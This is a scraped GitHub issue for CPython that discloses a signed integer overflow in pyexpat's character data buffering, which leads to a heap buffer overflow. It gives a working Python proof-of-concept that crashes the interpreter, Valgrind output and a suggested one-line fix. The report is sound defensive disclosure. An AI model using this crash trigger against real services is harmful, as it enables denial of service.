Title: Heap Buffer Overflow in pyexpat Character Data Buffering · Issue #148441 · python/cpython · GitHub
Open Graph Title: Heap Buffer Overflow in pyexpat Character Data Buffering · Issue #148441 · python/cpython
X Title: Heap Buffer Overflow in pyexpat Character Data Buffering · Issue #148441 · python/cpython
Description: Bug report Bug description: Summary A signed integer overflow in Modules/pyexpat.c allows an attacker to write up to 1 MB of attacker-controlled data past the end of a heap-allocated buffer. The overflow is triggered by parsing an XML do...
Open Graph Description: Bug report Bug description: Summary A signed integer overflow in Modules/pyexpat.c allows an attacker to write up to 1 MB of attacker-controlled data past the end of a heap-allocated buffer. The ov...
X Description: Bug report Bug description: Summary A signed integer overflow in Modules/pyexpat.c allows an attacker to write up to 1 MB of attacker-controlled data past the end of a heap-allocated buffer. The ov...
Opengraph URL: https://github.com/python/cpython/issues/148441
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Heap Buffer Overflow in pyexpat Character Data Buffering","articleBody":"# Bug report\n\n### Bug description:\n\n### Summary\n\nA signed integer overflow in `Modules/pyexpat.c` allows an attacker to write up to 1 MB of attacker-controlled data past the end of a heap-allocated buffer. The overflow is triggered by parsing an XML document containing more than 2 GB of character data within a single element while `buffer_text` is enabled (which defaults to False), `buffer_size` is set to a large value (~`INT_MAX`), and a non-`None` `CharacterDataHandler` is installed. \n\n**This combination of pre-requisites are expected to be rare in practice.**\n\n### Details\n\nThe function `my_CharacterDataHandler` ([line 384](https://github.com/python/cpython/blob/0e7c06a85880ba790fac4239b0ff1052399a36ae/Modules/pyexpat.c#L384)) accumulates XML character data in a heap buffer when `buffer_text` is enabled and a non-`None` `CharacterDataHandler` has been installed. Before appending, it checks whether the buffer has room:\n\n```c\n// Modules/pyexpat.c, lines 394-411\nif ((self->buffer_used + len) > self->buffer_size) { // line 395\n if (flush_character_buffer(self) \u003c 0)\n return;\n if (!have_handler(self, CharacterData))\n return;\n}\nif (len > self->buffer_size) { // line 404\n call_character_handler(self, data, len);\n self->buffer_used = 0;\n}\nelse {\n memcpy(self->buffer + self->buffer_used, // line 409\n data, len * sizeof(XML_Char));\n self->buffer_used += len; // line 411\n}\n```\n\nAll three variables — `buffer_used`, `len`, and `buffer_size` — are declared as `int` (32-bit signed). The `buffer_size` property setter (line 1736) allows values up to `INT_MAX` (2,147,483,647).\n\nWhen `buffer_used` approaches `INT_MAX`, the addition `buffer_used + len` on line 395 can overflow the signed 32-bit integer, wrapping to a large negative value. Since a negative value is never greater than the positive `buffer_size`, the flush check evaluates to false, and the code falls through to the `memcpy` on line 409. This `memcpy` writes `len` bytes starting at offset `buffer_used` in a buffer of `buffer_size` bytes — writing past the end of the allocation.\n\n### Why `buffer_used` can reach `INT_MAX`\n\nThe Python-level `Parse()` method ([line 876](https://github.com/python/cpython/blob/0e7c06a85880ba790fac4239b0ff1052399a36ae/Modules/pyexpat.c#L876)) splits large input into 1 MiB chunks and calls `XML_Parse()` for each one:\n\n```c\nwhile (slen > MAX_CHUNK_SIZE) {\n rc = XML_Parse(self->itself, s, MAX_CHUNK_SIZE, 0);\n ...\n s += MAX_CHUNK_SIZE;\n slen -= MAX_CHUNK_SIZE;\n}\n```\n\nFor each chunk of contiguous character data, expat calls `my_CharacterDataHandler` with up to 1 MiB at a time. The character data buffer is not flushed between iterations of this loop. It is only flushed when `Parse()` returns (line 792) or when a non-character-data event occurs (element start/end, etc.). Therefore, `buffer_used` accumulates across the internal 1 MiB chunks for the duration of a single `Parse()` call, and can reach arbitrarily large values.\n\nWith `buffer_size` set to `INT_MAX` and more than 2 GiB of character data in a single `Parse()` call:\n\n| Internal chunk | `buffer_used` before | `buffer_used + len` (true value) | Fits in `int`? | Result |\n|---|---|---|---|---|\n| 0 | 0 | 1,048,573 | Yes | Accumulate |\n| 1 | 1,048,573 | 2,097,149 | Yes | Accumulate |\n| ... | ... | ... | Yes | Accumulate |\n| 2,047 | 2,146,435,069 | 2,147,483,645 | Yes | Accumulate |\n| **2,048** | **2,147,483,645** | **2,148,532,221** | **No — overflows to −2,146,435,075** | **Flush bypassed, heap overflow** |\n\nAt chunk 2,048: `buffer_used` is 2,147,483,645. Adding `len` = 1,048,576 gives the true sum 2,148,532,221, which overflows a signed 32-bit integer to −2,146,435,075. Since −2,146,435,075 is not greater than `buffer_size` (2,147,483,647), the flush is skipped. The `memcpy` writes 1,048,576 bytes starting at offset 2,147,483,645 in a buffer of 2,147,483,647 bytes, overflowing by 1,048,574 bytes.\n\n### Proof of Concept: Crash (Denial of Service)\n\nMinimal script that installs a no-op `CharacterDataHandler`, triggers the heap buffer overflow, and crashes with SIGSEGV. Requires ~6 GiB of RAM (2 GiB for the character data buffer, ~2 GiB for the XML byte string, plus overhead).\n\n```python\n\"\"\"\npyexpat heap buffer overflow — crash PoC\n\nTriggers a signed integer overflow in my_CharacterDataHandler() that\nbypasses the buffer flush check, causing memcpy to write past the end\nof a 2 GiB heap buffer. The process crashes with SIGSEGV.\n\nTested on: CPython 3.15.0a5+ (commit 0e7c06a8), Linux x86_64\nExpected output:\n Segmentation fault\n\"\"\"\nimport xml.parsers.expat\n\nINT_MAX = 2**31 - 1\nMAX_CHUNK_SIZE = 1 \u003c\u003c 20 # 1 MiB, matches pyexpat.c\n\np = xml.parsers.expat.ParserCreate()\np.buffer_text = True\np.buffer_size = INT_MAX # allocate a ~2 GiB character data buffer\n\ndef handler(data):\n pass\np.CharacterDataHandler = handler\n\n# Character data size must be large enough that buffer_used reaches ~INT_MAX\n# within a single Parse() call. The \u003cr> tag consumes 3 bytes of the first\n# 1 MiB chunk, so buffer_used = 1,048,573 after chunk 0, then increases by\n# 1,048,576 per chunk. Overflow occurs at chunk 2,049.\nN = 2049 * MAX_CHUNK_SIZE - 3 # 2,148,532,221 bytes of character data\nxml_data = b\"\u003cr>\" + b\"A\" * N + b\"\u003c/r>\"\n\np.Parse(xml_data, True) # crashes here with SIGSEGV\n```\n\n### Verification (Valgrind)\n\nThe text below shows Valgrind detecting an out-of-bounds write (\"Invalid write of size 1\"):\n\n```text\n$ valgrind --tool=memcheck ./python ../../poc-1.py\n==19948== Memcheck, a memory error detector\n==19948== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==19948== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info\n==19948== Command: ./python ../../poc-1.py\n==19948==\n==19948== Warning: set address range perms: large range [0x59c93040, 0xd9c9303f) (undefined)\n==19948== Warning: set address range perms: large range [0xd9c94040, 0x159e94060) (undefined)\n==19948== Warning: set address range perms: large range [0x159e95040, 0x1da095063) (undefined)\n==19948== Warning: set address range perms: large range [0xd9c94028, 0x159e94078) (noaccess)\n==19948== Warning: set address range perms: large range [0x1da096040, 0x25a296067) (undefined)\n==19948== Warning: set address range perms: large range [0x159e95028, 0x1da09507b) (noaccess)\n==19948== Invalid write of size 1\n==19948== at 0x4852EE3: memmove (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)\n==19948== by 0x51C88AA: memcpy (string_fortified.h:29)\n==19948== by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:409)\n==19948== by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:385)\n==19948== by 0x51D445D: doContent (xmlparse.c:3747)\n==19948== by 0x51D58FA: contentProcessor (xmlparse.c:3179)\n==19948== by 0x51C9ADE: callProcessor.constprop.0 (xmlparse.c:1293)\n==19948== by 0x51CFBB7: PyExpat_XML_ParseBuffer (xmlparse.c:2494)\n==19948== by 0x51C7D96: pyexpat_xmlparser_Parse_impl (pyexpat.c:877)\n==19948== by 0x51C7D96: pyexpat_xmlparser_Parse (pyexpat.c.h:109)\n==19948== by 0x214063: _PyObject_VectorcallTstate (pycore_call.h:136)\n==19948== by 0x214063: PyObject_Vectorcall (call.c:327)\n==19948== by 0x386C33: _Py_VectorCallInstrumentation_StackRefSteal (ceval.c:762)\n==19948== by 0x1A67C9: _PyEval_EvalFrameDefault (generated_cases.c.h:1809)\n==19948== by 0x38B9B5: _PyEval_EvalFrame (pycore_ceval.h:118)\n==19948== by 0x38B9B5: _PyEval_Vector (ceval.c:2125)\n==19948== by 0x38B9B5: PyEval_EvalCode (ceval.c:673)\n==19948== by 0x404A6C: run_eval_code_obj (pythonrun.c:1366)\n==19948== by 0x404A6C: run_mod (pythonrun.c:1469)\n==19948== Address 0xd9c9303f is 0 bytes after a block of size 2,147,483,647 alloc'd\n==19948== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)\n==19948== by 0x2AAB9F: PyMem_RawMalloc (obmalloc.c:1112)\n==19948== by 0x2AAB9F: _PyObject_Malloc (obmalloc.c:2445)\n==19948== by 0x51C6D85: xmlparse_buffer_size_setter (pyexpat.c:1751)\n==19948== by 0x28F50D: _PyObject_GenericSetAttrWithDict (object.c:2012)\n==19948== by 0x28F50D: PyObject_GenericSetAttr (object.c:2083)\n==19948== by 0x28C1EC: PyObject_SetAttr (object.c:1528)\n==19948== by 0x1AADCF: _PyEval_EvalFrameDefault (generated_cases.c.h:10827)\n==19948== by 0x38B9B5: _PyEval_EvalFrame (pycore_ceval.h:118)\n==19948== by 0x38B9B5: _PyEval_Vector (ceval.c:2125)\n==19948== by 0x38B9B5: PyEval_EvalCode (ceval.c:673)\n==19948== by 0x404A6C: run_eval_code_obj (pythonrun.c:1366)\n==19948== by 0x404A6C: run_mod (pythonrun.c:1469)\n==19948== by 0x406BEA: pyrun_file (pythonrun.c:1294)\n==19948== by 0x406BEA: _PyRun_SimpleFileObject (pythonrun.c:518)\n==19948== by 0x4071EF: _PyRun_AnyFileObject (pythonrun.c:81)\n==19948== by 0x433928: pymain_run_file_obj (main.c:410)\n==19948== by 0x433928: pymain_run_file (main.c:429)\n==19948== by 0x433928: pymain_run_python.constprop.0 (main.c:691)\n==19948== by 0x434027: Py_RunMain (main.c:772)\n==19948== by 0x434027: pymain_main (main.c:802)\n==19948== by 0x434027: Py_BytesMain (main.c:826)\n==19948==\n==19948==\n==19948== Process terminating with default action of signal 11 (SIGSEGV): dumping core\n==19948== Access not within mapped region at address 0xD9C94000\n==19948== at 0x4852EE3: memmove (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)\n==19948== by 0x51C88AA: memcpy (string_fortified.h:29)\n==19948== by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:409)\n==19948== by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:385)\n==19948== by 0x51D445D: doContent (xmlparse.c:3747)\n==19948== by 0x51D58FA: contentProcessor (xmlparse.c:3179)\n==19948== by 0x51C9ADE: callProcessor.constprop.0 (xmlparse.c:1293)\n==19948== by 0x51CFBB7: PyExpat_XML_ParseBuffer (xmlparse.c:2494)\n==19948== by 0x51C7D96: pyexpat_xmlparser_Parse_impl (pyexpat.c:877)\n==19948== by 0x51C7D96: pyexpat_xmlparser_Parse (pyexpat.c.h:109)\n==19948== by 0x214063: _PyObject_VectorcallTstate (pycore_call.h:136)\n==19948== by 0x214063: PyObject_Vectorcall (call.c:327)\n==19948== by 0x386C33: _Py_VectorCallInstrumentation_StackRefSteal (ceval.c:762)\n==19948== by 0x1A67C9: _PyEval_EvalFrameDefault (generated_cases.c.h:1809)\n==19948== by 0x38B9B5: _PyEval_EvalFrame (pycore_ceval.h:118)\n==19948== by 0x38B9B5: _PyEval_Vector (ceval.c:2125)\n==19948== by 0x38B9B5: PyEval_EvalCode (ceval.c:673)\n==19948== by 0x404A6C: run_eval_code_obj (pythonrun.c:1366)\n==19948== by 0x404A6C: run_mod (pythonrun.c:1469)\n==19948== If you believe this happened as a result of a stack\n==19948== overflow in your program's main thread (unlikely but\n==19948== possible), you can try to increase the size of the\n==19948== main thread stack using the --main-stacksize= flag.\n==19948== The main thread stack size used in this run was 8388608.\n==19948==\n==19948== HEAP SUMMARY:\n==19948== in use at exit: 4,300,675,792 bytes in 1,665 blocks\n==19948== total heap usage: 2,637 allocs, 972 frees, 8,602,921,488 bytes allocated\n==19948==\n==19948== LEAK SUMMARY:\n==19948== definitely lost: 0 bytes in 0 blocks\n==19948== indirectly lost: 0 bytes in 0 blocks\n==19948== possibly lost: 0 bytes in 0 blocks\n==19948== still reachable: 4,300,675,792 bytes in 1,665 blocks\n==19948== of which reachable via heuristic:\n==19948== length64 : 4,212 bytes in 5 blocks\n==19948== suppressed: 0 bytes in 0 blocks\n==19948== Rerun with --leak-check=full to see details of leaked memory\n==19948==\n==19948== For lists of detected and suppressed errors, rerun with: -s\n==19948== ERROR SUMMARY: 4034 errors from 1 contexts (suppressed: 0 from 0)\nSegmentation fault (core dumped)\n```\n\n### Suggested Fix\n\nReplace the overflow-prone addition with a subtraction that cannot underflow. Since `buffer_used \u003c= buffer_size` is a maintained invariant (the buffer is flushed whenever it would exceed `buffer_size`, and both values are non-negative), the expression `buffer_size - buffer_used` is always non-negative and cannot underflow.\n\n```diff\nindex e9255038eee..99baf008700 100644\n--- a/Modules/pyexpat.c\n+++ b/Modules/pyexpat.c\n@@ -392,7 +392,7 @@ my_CharacterDataHandler(void *userData, const XML_Char *data, int len)\n if (self->buffer == NULL)\n call_character_handler(self, data, len);\n else {\n- if ((self->buffer_used + len) > self->buffer_size) {\n+ if (len > self->buffer_size - self->buffer_used) {\n if (flush_character_buffer(self) \u003c 0)\n return;\n /* handler might have changed; drop the rest on the floor\n```\n\nA more comprehensive fix would also change `buffer_used` and `buffer_size` from `int` to `Py_ssize_t`, eliminating the class of integer overflow entirely. However, since `len` comes from expat as `int`, and `buffer_size` is capped at `INT_MAX` by the setter, the single-line fix above is sufficient to close this specific vulnerability.\n\n### Impact: Denial of service (crash)\n\nAfter the overflowing `memcpy`, `buffer_used += len` also overflows `int` to a large negative value. On the next character data callback, `memcpy` is called with `self->buffer + negative_offset`, which dereferences an address far below the buffer — causing a segmentation fault.\n\n\n### CPython versions tested on:\n\n3.15\n\n### Operating systems tested on:\n\nLinux\n\n\u003c!-- gh-linked-prs -->\n### Linked PRs\n* gh-148904\n* gh-149637\n* gh-149638\n* gh-149639\n\u003c!-- /gh-linked-prs -->\n","author":{"url":"https://github.com/scovetta","@type":"Person","name":"scovetta"},"datePublished":"2026-04-12T12:28:17Z","url":"https://github.com/python/cpython/issues/148441"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:d6731b46-d1b9-e889-8096-e842d4a09489 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | C022:299992:14473B7:1AC9823:6B01F355 |
| html-safe-nonce | 340163929031f02799a425b4714e975b1bc9fa4e0e76689d8f9e312fb416fa3d |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDMDIyOjI5OTk5MjoxNDQ3M0I3OjFBQzk4MjM6NkIwMUYzNTUiLCJ2aXNpdG9yX2lkIjoiNTM1MTI3MjkyNDY2ODA5NzM2NSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | 61378af95ddbb8c84a299d9b4829e9716df229aeba764121b0f198c114e589d1 |
| hovercard-subject-tag | issue:4247990338 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/python/cpython/148441/issue_layout |
| twitter:image | https://opengraph.githubassets.com/5a0529190ac5586c94f3b0463e19cb35fb2232c78b16361a851cd40b5cb14ebd/python/cpython/issues/148441 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/5a0529190ac5586c94f3b0463e19cb35fb2232c78b16361a851cd40b5cb14ebd/python/cpython/issues/148441 |
| og:image:alt | Bug report Bug description: Summary A signed integer overflow in Modules/pyexpat.c allows an attacker to write up to 1 MB of attacker-controlled data past the end of a heap-allocated buffer. The ov... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | scovetta |
| hostname | github.com |
| expected-hostname | github.com |
| None | 87e774ee7c6b3bee0490394e4d3e57ec9dbc956f74b87ea685dc8996c1676456 |
| turbo-cache-control | no-preview |
| go-import | github.com/python/cpython git https://github.com/python/cpython.git |
| octolytics-dimension-user_id | 1525981 |
| octolytics-dimension-user_login | python |
| octolytics-dimension-repository_id | 81598961 |
| octolytics-dimension-repository_nwo | python/cpython |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 81598961 |
| octolytics-dimension-repository_network_root_nwo | python/cpython |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 423dbb54c5e7bfecc838eb387c1435eb3d0e760d |
| ui-target | canary-2 |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width